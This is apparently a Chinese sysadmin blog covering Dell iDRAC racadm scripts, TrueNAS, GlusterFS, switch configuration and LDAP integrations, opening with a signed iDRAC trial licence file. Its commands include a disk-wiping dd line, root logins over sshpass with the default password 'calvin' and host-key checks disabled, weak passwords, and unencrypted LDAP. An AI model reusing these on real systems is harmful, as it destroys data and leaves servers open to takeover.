    <lns:Feature lns:ID="19" lns:Description="Directory Services" lns:Enabled="true"/>
    <lns:Feature lns:ID="20" lns:Description="Two-Factor Authentication" lns:Enabled="true"/>
    <lns:Feature lns:ID="21" lns:Description="Single Sign-On" lns:Enabled="true"/>
    <lns:Feature lns:ID="22" lns:Description="PK Authentication" lns:Enabled="true"/>
    <lns:Feature lns:ID="23" lns:Description="Crash Screen Capture" lns:Enabled="true"/>
    <lns:Feature lns:ID="24" lns:Description="Crash Video Capture" lns:Enabled="true"/>
    <lns:Feature lns:ID="25" lns:Description="Boot Capture" lns:Enabled="true"/>
    <lns:Feature lns:ID="26" lns:Description="Virtual Console" lns:Enabled="true"/>
    <lns:Feature lns:ID="27" lns:Description="Virtual Flash Partitions" lns:Enabled="true"/>
    <lns:Feature lns:ID="28" lns:Description="Console Collaboration" lns:Enabled="true"/>
    <lns:Feature lns:ID="29" lns:Description="Device Monitoring" lns:Enabled="true"/>
    <lns:Feature lns:ID="30" lns:Description="Remote Inventory" lns:Enabled="true"/>
    <lns:Feature lns:ID="31" lns:Description="Storage Monitoring" lns:Enabled="true"/>
    <lns:Feature lns:ID="32" lns:Description="Remote Firmware Update" lns:Enabled="true"/>
    <lns:Feature lns:ID="33" lns:Description="Remote Firmware Configuration" lns:Enabled="true"/>
    <lns:Feature lns:ID="34" lns:Description="Remote Inventory Export" lns:Enabled="true"/>
    <lns:Feature lns:ID="35" lns:Description="Remote Operating System Deployment" lns:Enabled="true"/>
    <lns:Feature lns:ID="36" lns:Description="Backup and Restore" lns:Enabled="true"/>
    <lns:Feature lns:ID="37" lns:Description="Part Replacement" lns:Enabled="true"/>
    <lns:Feature lns:ID="38" lns:Description="SSH" lns:Enabled="true"/>
    <lns:Feature lns:ID="39" lns:Description="Remote File Share" lns:Enabled="true"/>
    <lns:Feature lns:ID="40" lns:Description="Virtual Folders" lns:Enabled="true"/>
    <lns:Feature lns:ID="41" lns:Description="Web GUI" lns:Enabled="true"/>
    <lns:Feature lns:ID="42" lns:Description="Network Time Protocol" lns:Enabled="true"/>
    <lns:Feature lns:ID="43" lns:Description="Email Alerts" lns:Enabled="true"/>
    <lns:Feature lns:ID="44" lns:Description="Security Lockout" lns:Enabled="true"/>
    <lns:Feature lns:ID="45" lns:Description="Remote Syslog" lns:Enabled="true"/>
    <lns:Feature lns:ID="253" lns:Description="Integrated Dell Remote Access Controller 7 Enterprise" lns:Enabled="true"/>
  </lns:LicenseData>
<dsig:Signature xmlns:dsig="http://www.w3.org/2000/09/xmldsig#">
<dsig:SignedInfo>
<dsig:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<dsig:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
<dsig:Reference URI="">
<dsig:Transforms>
<dsig:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
</dsig:Transforms>
<dsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<dsig:DigestValue>DrtnjP0vUsyT+18jazjmiaGrvc0=</dsig:DigestValue>
</dsig:Reference>
</dsig:SignedInfo>
<dsig:SignatureValue>Qg4Omx1ZGrVllUPbg/X25aJxK5qlNCF/G04NLwXhbmpqoplSRkCCUgb+6TvVz9b3
Ut7sSa/WjA0mv+mbcqIENTAnpveIkIOQPR3mdjCBwX2cLYieV9nOIGobxqHU7o97
QjbSAkmTHcRo0PI6mP8tc7Od4WNWMZ48rrUBeOrVOr1EZeptPUbeaSofy4nvlzbC
pcpzZLbjAITT157r9KiFe9joG2hCEClrQPO0ScXHgKXrAWrQE9wX7e2De4uCvJwI
hGWpJzDQNJJZbsWhDoZJn/59G/KRjzxIHIzIpUt1XPPIGHl5yMXDaRFcIMES0RuJ
SWZS8tt9E001Fr/8/jQNgA==</dsig:SignatureValue>
<dsig:KeyInfo>
<dsig:X509Data>
<dsig:X509Certificate>MIIDTjCCAjagAwIBAgIBATANBgkqhkiG9w0BAQUFADBRMRMwEQYDVQQKEwpEZWxs
LCBJbmMuMSEwHwYDVQQLExhFbWJlZGRlZCBMaWNlbnNlIE1hbmFnZXIxFzAVBgNV
BAMTDkNBIENlcnRpZmljYXRlMB4XDTEwMDEwMTAwMDAwMFoXDTM1MTIzMTIzNTk1
OVowVjETMBEGA1UEChMKRGVsbCwgSW5jLjEhMB8GA1UECxMYRW1iZWRkZWQgTGlj
ZW5zZSBNYW5hZ2VyMRwwGgYDVQQDExNTaWduaW5nIENlcnRpZmljYXRlMIIBIjAN
BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqbRo2DZtkjxl5YtqD5ePYdzrWbkU
YQJwVaWYe1tE7ZAdou5TLTsjPnaa1cLcPTexn+cq8YjukIVwkwJP7yJ5GkrYGUnf
0Q6unWWgwcgTStlpflz31e8AbxXqNYZEFvEktojYS0kAfiYES+H02GUU5PtV7B9Y
BbtZEowU2DPuqRGG1FF8mAsp1vojcbQGx+nS2Of47oQJRrJlh28COXyf2w/+IRAz
RmeYin+9pisfrT9fmlUtxa7sAAV/KZFRx8ED31YiktXgI/u/PNnHlchiCMaL6pzA
HMBf115O7A2y6IZ9sXUHvH8V9QnDkWT1XHMn8GCW8HXOA5zA232OxiaRmQIDAQAB
oywwKjAJBgNVHRMEAjAAMB0GA1UdDgQWBBQAoZ7yMjDHMAFtmmmO/zyz3BJ6hjAN
BgkqhkiG9w0BAQUFAAOCAQEAHHgoOg57S+lAEejahdBE1HMwe6BF3b9bzUMCynn9
7buXa3cnRFO3H3674WKU6nBjv4nkT3qMyXwgi7MvXcu69msK4eM6QA8XeC7G1rD+
2bb/ENR9R9Zo0BWLym/ij8uUA/BzX8hnbzWxN82+FMdY9WD4fJAJwJ5ZPEbU1Vfy
7wOWosHgDPXjeAhlhkxDQi6vlRTJdfED6tBY7iGD4AQXfzrHzAZpZlIvKbM2c54B
65wMSlqfEWMBDhT5qcwGCq82hmi7/sCtu9Z20g2s9F0fp4XlGX8L7l0hCa46zjay
37GffYsScEDFg/DmkIpcXnGzyx8l1msLzpj8Gt4zHhPlgA==</dsig:X509Certificate>
</dsig:X509Data>
</dsig:KeyInfo>
</dsig:Signature></lns:LicenseClass>

文件下载：iDRAC7_Ent_Trial.xml

利用graphviz描述语言绘图

Mon, 03 Apr 2023 09:05:11 +0800

graphviz是很强烈的描述语言绘图工具

安装：

apt install graphviz 或 yum install graphviz

生成png

dot -Tpng hn.gv -o hn.png

vi hg.gv
digraph MyGraph {
  compound = true
  margin="0,0"
  ranksep = 1
  nodesep = 1
  rankdir=LR
  {rank=same;防火墙;日志审计}

  subgraph cluster_app {
    label="海南应用"
    rankdir=LR
    margin = 10
    {rank=same;app01;app02}
    app01 [label="app01\n内网：192.168.0.10"]
    app02 [label="app02\n内网：192.168.0.11"]
    storage01 [label="storage01\n内网：192.168.0.30"]

    subgraph cluster_db {
      style = dotted
      label="数据库主/备"
      {rank=same;db02;db01}
      db01 [label="db01\n内网：192.168.0.20"]
      db02 [label="db02\n内网：192.168.0.21"]
      db01 -> db02 [dir=both]
    }

    app01 -> db01 [splines=true,lhead=cluster_db]
    app02 -> db01 [splines=true,lhead=cluster_db]
    app01 -> storage01
    app02 -> storage01
  }

TrueNAS系统如何增加新硬盘

Fri, 31 Mar 2023 11:05:11 +0800

之前公司世纪互联和无锡的TureNAS现有硬盘都是38块，满配是60块，所以都需要扩容，扩满再增加22块。

TrueNAS的Raid是使用的RaidZ3，基于ZFS的，最多允许3块盘坏

首先会建立zpool，然后在zpool里面增加vdev，注意，vdev一旦增加，不可更改。

我们这里就犯了第一个错误，所有vdev的磁盘数量最好相等，所以第一次应该先增加30块盘，然后第二次再增加30块，这样两个vdev就是均衡的

现在我们这种状况，第一个vdev是38块，第二个vdev是22块，不对等了，会警告

具体添加步骤如下：

首先浪潮工程师到现场加盘，盘必须做好清除信息，用以下命令通过

dd if=/dev/zero of=/dev/da59 bs=1M count=32

然后插好盘后，必须重启Trunas，才能正常认出盘来，不能热插拔（很奇怪）

Storage –> Pools –> 点击齿轮 –> Add Vdevs

然后选中所有左边的Available Disks，移到右边的Data VDevs 然后看最下面会立刻出红色警告，提示两个vdev的disks不对等

点击ADD VDEVS，会弹窗警告，选中Confirm，然后点Continue

会继续弹出一个警告窗，这回就明晰了，旧的数据不会破坏，然后继续选中Confirm，然后点ADD VDEVS

然后就会开始初始化硬盘

最后查看zpool，看到有两个RAIDZ3，就加好了

dell服务器idrac常用操作脚本

Fri, 31 Mar 2023 09:05:11 +0800

收录一下 dell 服务器 idrac 操作常用脚本

显示Raid卡硬盘
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.$1 racadm raid get controllers
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.$1 racadm raid get vdisks
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.$1 racadm raid get pdisks 

清理Foreign磁盘状态
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.$1 racadm  storage clearconfig:RAID.Integrated.1-1
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.$1 racadm jobqueue create RAID.Integrated.1-1 -s TIME_NOW --realtime

删除vdisk
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.5.14 racadm raid deletevd:Disk.Virtual.0:RAID.Integrated.1-1
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.$1 racadm jobqueue create RAID.Integrated.1-1 -s TIME_NOW --realtime

建立Raid0
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.$1 racadm raid createvd:RAID.Integrated.1-1 -rl r0 -wp wb -rp ra -name raid_0 -pdkey:Disk.Bay.0:Enclosure.Internal.0-1:RAID.Integrated.1-1
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.$1 racadm jobqueue create RAID.Integrated.1-1 -s TIME_NOW --realtime

建立Raid5
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.$1 racadm raid createvd:RAID.Integrated.1-1 -rl r5 -wp wb -rp ra -name raid_5 -pdkey:Disk.Bay.1:Enclosure.Internal.0-1:RAID.Integrated.1-1,Disk.Bay.2:Enclosure.Internal.0-1:RAID.Integrated.1-1,Disk.Bay.3:Enclosure.Internal.0-1:RAID.Integrated.1-1
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.$1 racadm jobqueue create RAID.Integrated.1-1 -s TIME_NOW --realtime

重启服务器
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.$1 racadm serveraction hardreset

设置硬盘第一启动，禁止F1/F2等待
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.$1 racadm set BIOS.biosbootsettings.BootSeq HardDisk.List.1-1,NIC.Integrated.1-1-1
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.$1 racadm set BIOS.MiscSettings.ErrPrompt Disabled
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.5.16 racadm jobqueue create BIOS.Setup.1-1 
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.$1 racadm serveraction hardreset

设置vnc
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.$1 racadm set idrac.vncserver.enable Enabled
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.$1 racadm set idrac.vncserver.Password calvin

设置idrac其他用户
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.$1 racadm config -g cfgUserAdmin -o cfgUserAdminUserName -i 4 newuser
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.$1 racadm config -g cfgUserAdmin -o cfgUserAdminPassword -i 4 123456
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.$1 racadm config -g cfgUserAdmin -o cfgUserAdminPrivilege -i 4 0x000001ff
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.$1 racadm config -g cfgUserAdmin -o cfgUserAdminEnable -i 4 1
改掉密码
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.$1 racadm config -g cfgUserAdmin -o cfgUserAdminPassword -i 4 987654

NTP的设置
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.$1 racadm set idrac.ipv4static.dns1 8.8.8.8
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.$1 racadm set idrac.NTPConfigGroup.ntp1 0.asia.pool.ntp.org
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.$1 racadm set idrac.NTPConfigGroup.ntp2 1.asia.pool.ntp.org
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.$1 racadm set idrac.NTPConfigGroup.ntp3 2.asia.pool.ntp.org
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.$1 racadm set idrac.NTPConfigGroup.ntp1 129.250.35.250
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.$1 racadm set idrac.NTPConfigGroup.ntp2 180.211.88.50
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.$1 racadm set idrac.NTPConfigGroup.ntp3 202.112.29.82
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.$1 racadm set idrac.NTPConfigGroup.NTPEnable Enabled
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.$1 racadm set idrac.NTPConfigGroup.NTPMaxDist 16
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.$1 racadm set idrac.time.timezone Japan

修改网卡启动为Legacy PXE
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.$1 racadm get nic.nicconfig.1 | grep Legacy
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.$1 racadm set nic.nicconfig.1.legacybootproto PXE
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.$1 racadm get nic.nicconfig.1 | grep Legacy
sshpass -p "calvin" ssh -oLogLevel=ERROR -oStrictHostKeyChecking=no root@10.224.$1 racadm jobqueue create NIC.Integrated.1-1-1
ipmitool -I lanplus -H $ip -U root -P calvin chassis power reset

TureNAS系统在浪潮定制系统上的安装

Thu, 30 Mar 2023 10:05:11 +0800

无锡浪潮TrueNAS系统的安装

这一版的浪潮定制NAS机器比较特别，没有任何Raid卡，配了Avago的一块pcie sas直通卡：搏通9400卡

然后是定制机，整体4U的高度，满配是60块16T的大盘，主板在机箱侧面立着，2块小盘做系统。

由于机房限制，无法直接从本地访问10.18.30.97，导致无法将本地文件挂入idrac的cdrom，只能曲线救国，在172.18.31.2建立一个nfs share，把光盘文件放进去

到 idrac 的 Remote control ，再到Virtual media，配好nfs共享 ip: 172.18.31.2 path: /export/nfsshare

在remote image redirction中可以看到光盘文件，点击Start

然后重启，CDROM是第一启动媒介

开始安装，缺省会进入第一项进行安装

然后会报这个错，panic: AP #1 (PHY# 2) failed!

见了鬼了，唯一的地方可能是主板部分和博通卡冲突，我们重启进入BIOS，到SATA和sSATA的地方

把主板的SATA给关掉，禁止AHCI

同样关掉sSATA，也禁止AHCI

然后重启安装TrueNAS，这次就可以通过了安装盘选择前两块SSD小盘，230G openbsd会自动将这两款小盘做成软Raid

提示会抹掉两块盘的所有数据

输入root的密码

选择Boot via BIOS

建立16G的swap空间

然后就开始安装，这里没什么动静，也没有进度条，会等很久

安装完成后会让你重启，然后出来配置界面

我们首先要配置第二项，Bonding端口然后再配第一项的静态IP 再配第四项缺省路由配完就http和https显示正确地址

输入地址：http://172.18.30.97 登录就完成安装了

GlusterFS的实际应用

Thu, 30 Mar 2023 09:05:11 +0800

特别注意

两台GFS主机172.18.30.18和172.18.30.36上面务必配置/etc/hosts，否则peer的时候会有问题

172.18.30.18 renhe-18-30-18
172.18.30.18 renhe-18-30-36

客户端安装

yum -y install epel-release

然后 yum  install glusterfs-fuse 就可以了

挂载：

mount.glusterfs 172.18.30.18:/borui-vol /data/br/nfs

fstab 自动挂载

172.18.30.18:/borui-vol /data/br/nfs glusterfs defaults,_netdev,backupvolfile-server=172.18.30.36 0 0

在172.18.30.18上建立新卷，因为只有2个节点，就必须force了

gluster volume create test-zhichi-vol replica 2 transport tcp 172.18.30.18:/glusterfs/test-zhichi-vol 172.18.30.36:/glusterfs/test-zhichi-vol force

启动

gluster volume start test-zhichi-vol

查看一下

gluster volume info test-zhichi-vol

查看卷信息(禁止查看inode，太多了)

gluster volume status test-zhichi-vol detail
gluster volume status test-zhichi-vol clients
gluster volume status test-zhichi-vol mem
gluster volume status test-zhichi-vol fd
gluster volume status test-zhichi-vol inode

开启限额

gluster volume quota test-zhichi-vol enable
gluster volume quota test-zhichi-vol limit-usage / 50GB
gluster volume quota test-zhichi-vol list

限制IP访问

例如允许172.18.31.*网段的主机访问rep-volume：

使用ipset来禁止国外的用户登录openvpn

Wed, 29 Mar 2023 09:05:11 +0800

突然来的个需求，要求屏蔽国外的用户登录公司的openvpn，防止滥用，搜了一下教程倒是真不少，问题不少都是要去下载那个无比大的ip地址库，好不容易找了一个可用的。

记录下来，备用，原理很简单，ipset建立一个china的hashset，不停添加条目，最后用iptalbes阻挡一下：

#!/bin/sh
ipset create china hash:net hashsize 10000 maxelem 1000000
ipset add china 1.0.1.0/24
......
ipset add china 91.234.36.0/24
iptables -I INPUT -m set --match-set china src -p udp -m udp --dport 1194 -j ACCEPT
iptables -A INPUT -p udp --dport 1194 -j DROP

相应脚本的下载：

ipset-rules.txt

核心交换机的配置过程

Fri, 24 Mar 2023 09:05:11 +0800

换了公司，也搞起了桌面运维，配置交换机的过程记录一下，其实很简单，就是命令记不住。

拿到一台华为交换机，重新初始化后，配置如下：

<HUAWEI>dis cur
!Software Version V200R008C00SPC500
#
sysname HUAWEI
#
aaa
 authentication-scheme default
 authorization-scheme default
 accounting-scheme default
 domain default
 domain default_admin
 local-user admin password irreversible-cipher %^%#7:.iL]+u"4\j8ZFhGeg/-m.&"^0}kMznjk%>;BaUDO/'6m\X\=V8JGY:W;i,%^%#
 local-user admin service-type http
#
interface Vlanif1
#
interface MEth0/0/1
#
interface GigabitEthernet0/0/1
#                                         
interface NULL0
#
user-interface con 0
 authentication-mode password
 set authentication password cipher $1a$~!;$-JF0-W$Z><1.F]<sF.R_NBj34CJ/JPe=/tZDMM(Ws3'9u%+$
user-interface vty 0 4
user-interface vty 16 20
#
return

一、配名称

sysname BJ_FANGHENG_JIERU

二、配置登录用户

1、aaa
local-user admin password irreversible-cipher abcdefg
local-user admin privilege level 3
local-user admin service-type telnet terminal ssh

2、user-interface con 0
authentication-mode aaa

3、user-interface vty 0 4
authentication-mode aaa
protocol inbound all

三、配置下联交换机端口

interface GigabitEthernet0/0/23
 description == H3cSW --> 24
 port link-type trunk
 port trunk allow-pass vlan 2 to 4094

四、配置上联交换机端口

interface GigabitEthernet0/0/24
 description == RuijieRoute --> lan0
 port link-type trunk
 port trunk allow-pass vlan 2 to 4094

五、配置vlan地址

vlan 11
vlan 100

vlan 11
 interface Vlanif11
 ip address 10.8.0.7 255.255.254.0
 
vlan 100
 interface Vlanif100
 ip address 192.168.10.7 255.255.255.0

六、配置缺省路由

ip route-static 0.0.0.0 0.0.0.0 10.8.0.1

七、批量配置端口

port-group group-member GigabitEthernet0/0/1 to GigabitEthernet0/0/23
port link-type access
port default vlan 11
stp edged-port enable

八、lldp

lldp enable

九、dhcp

dhcp enable
ip pool 11
 gateway-list 10.8.0.1
 network 10.8.0.0 mask 255.255.254.0
 static-bind ip-address 10.8.0.4 mac-address 8005-88f1-fa62
 dns-list 114.114.114.114
 
interface Vlanif11
 description === Ke hu duan
 ip address 10.8.0.1 255.255.254.0
 dhcp select global

十、telnet和ssh

dsa local-key-pair create

telnet server enable

stelnet server enable
ssh authentication-type default password

这样就完成了一台核心设备的简单配置

Hubot集成企业钉钉

Wed, 01 Mar 2023 09:05:11 +0800

换了公司，现在的公司用的是钉钉，不是企业微信，那么 hubot 就得改接入钉钉了

前文回顾：Hubot集成企业微信+jenkins+ansible

不明白的可以先看那一篇，那么首先的步骤是一样的，同样要去钉钉开放平台，用管理员登录：

https://open.dingtalk.com/

登陆后，点击应用开发–>企业应用开发：

’

然后应用开发，机器人，点击创建应用：

建好后，点击应用信息，可以看到应用凭证

我们记录下来 AppSecret，之后要用到

然后再点击开发管理，这里需要你把 hubot 的服务器地址给公布出去，需要有个公网地址

因为hubot是监听的8080端口，所以映射是 xxxx.ip:80 –> hubotip:8080

服务器出口 IP 的地方 , 需要在 hubot 的服务器上，curl http://ipinfo.io，得到地址，然后填上（我们的 ip 非常特殊，每一次访问都有可能会换个ip，所以只好把整段填写进去，而且把公网映射ip也填进去）

消息接收地址填上映射后的地址：https://bot.rendoumi.com/hubot/dingtalk/message/（用不用nginx加证书变https随具体情况定）

然后去hubot安装dingtalk插件，在hubot安装根目录运行

npm install hubot-dingtalk

export HUBOT_DINGTALK_AUTH_TYPE=sign
export HUBOT_DINGTALK_SECRET=xxxxxxxxxx
export HUBOT_DINGTALK_MODE=1

./bin/hubot -a dingtalk

然后我们去用浏览器访问 https://bot.rendoumi.com/hubot/dingtalk/message/，会返回这个

然后就可以了。至于把 hubot 做成服务，就参考上一篇文章，把jenkins和ansible都加上，做一个好用的机器人。

yearning集成进freeIPA进行统一认证

Tue, 28 Feb 2023 09:05:11 +0800

接上上一篇，Freeipa接完confluence，接下来是接入数据库上线软件Yearning.

先下结论：同样存在先有 Yearning 账户、然后才有的 FreeIPA LDAP 目录，这次要命了，因为 Yearning 不支持 LDAP 认证方式用户与已有用户进行合并！所以，等于ldap新建了一个用户，跟老用户的邮箱一模一样，但是是个 Newbee，没有权限，需要重新赋权。比较麻烦！希望之后能pr修改一下！！！！

连接属性如下：

ldap地址：freeipa.bybon.cn:389

LDAP管理员DN：uid=manager,cn=users,cn=accounts,dc=bybon,dc=cn
LDAP管理员密码：xxxxxx

LDAP_Search Filter：(&(objectclass=inetorgperson)(memberOf=cn=confluence-users,cn=groups,cn=accounts,dc=bybon,dc=cn)(uid=%s))

LDAP_SCBASE：cn=users,cn=accounts,dc=bybon,dc=cn

LDAP用户属性：{ "real_name": "displayName", "email": "mail", "department": "技术中心" }

解释一下：

LDAP_Search Filter 指搜索用户时所用的filter，这里偷了个懒，按道理应该是独立建一个组yearning-users，懒得干了，复用confluence-users好了。admin组更懒得建，必须用freeipa的admins组
LDAP_SCBASE 指搜索用户的BASE DN
LDAP用户属性指yearning中的属性与ldap属性之间的映射关系，department是没有对应的，也没有人会没事干建一个去吧。

截图如下：

kubernetes中用户rbac的建立

Wed, 22 Feb 2023 09:05:11 +0800

k8s里面建立一个用户，然后给特定权限，再做rolebinding的过程，给个标准的建立jenkins-admin的用户的过程：

简单来说，三步，ServiceAccout –> Role –> Rolebinding

apiVersion: v1
kind: ServiceAccount
metadata:
  name: jenkins-admin
  namespace: devops-tools
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: jenkins
  namespace: default
  labels:
    "app.kubernetes.io/name": 'jenkins'
rules:
- apiGroups: [""]
  resources: ["pods"]
  verbs: ["create","delete","get","list","patch","update","watch"]
- apiGroups: [""]
  resources: ["pods/exec"]
  verbs: ["create","delete","get","list","patch","update","watch"]
- apiGroups: [""]
  resources: ["pods/log"]
  verbs: ["get","list","watch"]
- apiGroups: [""]
  resources: ["secrets"]
  verbs: ["get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: jenkins-role-binding
  namespace: default
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: Role
  name: jenkins
subjects:
- kind: ServiceAccount
  name: jenkins-admin
  namespace: default

资源的链接：https://kubernetes.io/zh-cn/docs/reference/access-authn-authz/rbac/

Gitlab集成进freeIPA进行统一认证

Fri, 17 Feb 2023 09:05:11 +0800

接上一篇，Freeipa接完confluence，接下来是接入Gitlab.

先下结论：同样道理，也是存在先有 Gitlab 账户、然后才有的 FreeIPA LDAP 目录，这也不要紧，因为 Gitlab 同样支持 LDAP 认证方式的用户与现有用户进行合并。

举个例子，如果我已经在 Gitlab 中创建了用户名为 zhangranrui、邮箱为 zhangranrui@rendoumi.com 的用户，那么我在 LDAP 目录中只需要把 mail 字段也写成 zhangranrui@rendoumi.com 即可被 Gitlab 识别成同一用户。或者说，我们可以在 Gitlab 中增加 LDAP 目录中的 mail 字段的邮箱（Gitlab 支持同一用户绑定多个邮箱），这样在 Gitlab 中使用 LDAP 认证的时候也会被视为同一用户。跟 Confluence 是一模一样的。

注意：这样改了之后，无论登录或是拉取代码，就只能使用LDAP的账号密码，不能使用旧的 GitLab Standard 的账号。

我们的 Gitlab 版本比价老11.1.0，所以改的是 gitlab.yml

  ldap:
    enabled: true
    servers:
      main: # 'main' is the GitLab 'provider ID' of this LDAP server
        label: 'LDAP'

        host: 'freeipa.bybon.cn'
        port: 389
        uid: 'uid'

        encryption: 'plain' # "start_tls" or "simple_tls" or "plain"
        verify_certificates: false
        ca_file: ''
        ssl_version: ''

        bind_dn: 'uid=admin,cn=users,cn=accounts,dc=bybon,dc=cn'
        password: 'xxxxxx'

        timeout: 10

        active_directory: false
        allow_username_or_email_login: false

        block_auto_created_users: false

        base: 'dc=bybon,dc=cn'

        user_filter: '(&(objectclass=inetorgperson)(memberOf=cn=gitlab-users,cn=groups,cn=accounts,dc=bybon,dc=cn))'
        
        attributes:
          username: ['uid']
          email:    ['mail']

          name:       'displayName'
          first_name: 'givenName'
          last_name:  'sn'

          lowercase_usernames: false

新版本的话，按字段比较即可。注意上面，我是提前建立了一个 gitlab-users 的组，把用户先都放进组里，这样方便管理。

Confluence集成进freeIPA进行统一认证

Thu, 16 Feb 2023 09:05:11 +0800

公司决定用统一用户管理系统，那必然是微软的 AD 和开源的 LDAP 二选一了

自然用 Freeipa 作为首选。

花时间仔细调研了一下，先说结论：

如果 confluence 已经有很多用户，那么对不起，这些用户的密码都必须通知到个人，强制进行修改，旧有的密码完全无法导出（除非一个一个人问出来）。

confluence 实际上是用了一个内置的目录软件来管理用户的，用户唯一存在的凭据就是邮箱。

confluence 支持同时从多个目录树中按照顺序来查询用户，查询到的结果会合并。举例来说，排第一的目录树是freeipa，排第二位的目录树是内置目录，两个目录树都有一个用户，两条记录的邮件是一致的，那么会在排第一的 freeipa 树中认证用户，但会把两个目录树中用户的信息拼接合并起来总体返回。

这样就明白了把，我们只用第一个 freeipa 目录树来认证用户，原有的组权限还是用第二个内置目录树中的信息，保持两棵树中用户的 mail 保持一致即可，步骤如下。

我们首先要提前在freeIPA里面建立两个组：

confluence-administrators

confluence-users

然后跑到 Confluence 里，用户目录，添加一个 freeipa 的目录服务放在前面

详细配置的参数如下：

配置如下：

Server Settings:
- Namel: freeipa
- Directory Type: OpenLDAP
- Server: example.com
- Port: 389
- Use SLL: false 
- Username: uid=admin,cn=users,cn=accounts,dc=bybon,dc=cn
- Password: <insert password here>


LDAP Schema:
- Base DN: dc=bybon,dc=cn
- Additional User DN: cn=users,cn=accounts
- Additional Group DN:cn=groups,cn=accounts


LDAP Permissions:
Select Read/Write


Advanced Settings: Default


User Schema Settings
- User Object Class: inetorgperson
- User Object Filter: (&(objectclass=inetorgperson)(memberOf=cn=confluence-users,cn=groups,cn=accounts,dc=bybon,dc=cn))
- User Name Attribute: uid
- User Name RDN Attribute: uid
- User First Name Attribute: giveName
- User Last Name Attribute: sn
- User Display Name Attribute: displayName
- User Email Attribute: mail
- User Password Attribute: userPassword
- User Password Encryption: SHA
- User Unique ID Attribute: uid


Group Schema Settings
- Group Object Class: groupofnames # all lowercase
- Group Object Filter: (objectclass=groupofnames) # all lowercase
- Group Name Attribute: cn
- Group Description Attribute: description
 

Membership Schema Settings
- Group Members Attribute: member #lowercase
- User Membership Attribute:memberOf

放全中文的图如下：

traefik自动签发并续费证书+端口转发

Tue, 31 Jan 2023 09:05:11 +0800

nginx和traefik都可以做ingress，在入口处做证书的卸载，并转发tcp、udp、https、http流量

nginx是比较通常的做法，traefik配置比较简单，尤其是配置自动续签的证书

wget https://github.com/traefik/traefik/releases/download/v2.4.8/traefik_v2.4.8_linux_amd64.tar.gz

解压释放出来traefik文件，建立目录/export/servers/traefik

结构如下：

traefik.yml

log:
  level: DEBUG

api:
  insecure: false
  dashboard: true

entryPoints:
  http:
    address: ":80"
    #http:
    #  redirections:
    #    entryPoint:
    #      to: https
    #      scheme: https

  https:
    address: ":443"



certificatesResolvers:
  letsEncrypt:
    acme:
      storage: /export/servers/traefik/acme.json
      email: zhangranrui@rendoumi.com
      tlsChallenge: {}
      httpChallenge:
        entryPoint: http

providers:
  file:
    directory: /export/servers/traefik/dynamic
    watch: true

上面我们定义了log的level为DEBUG，并且开放了dashboard

定义了2个入口，http和https，可以直接用中间件强制http跳转https

然后定义了letsEncrypt的证书机构

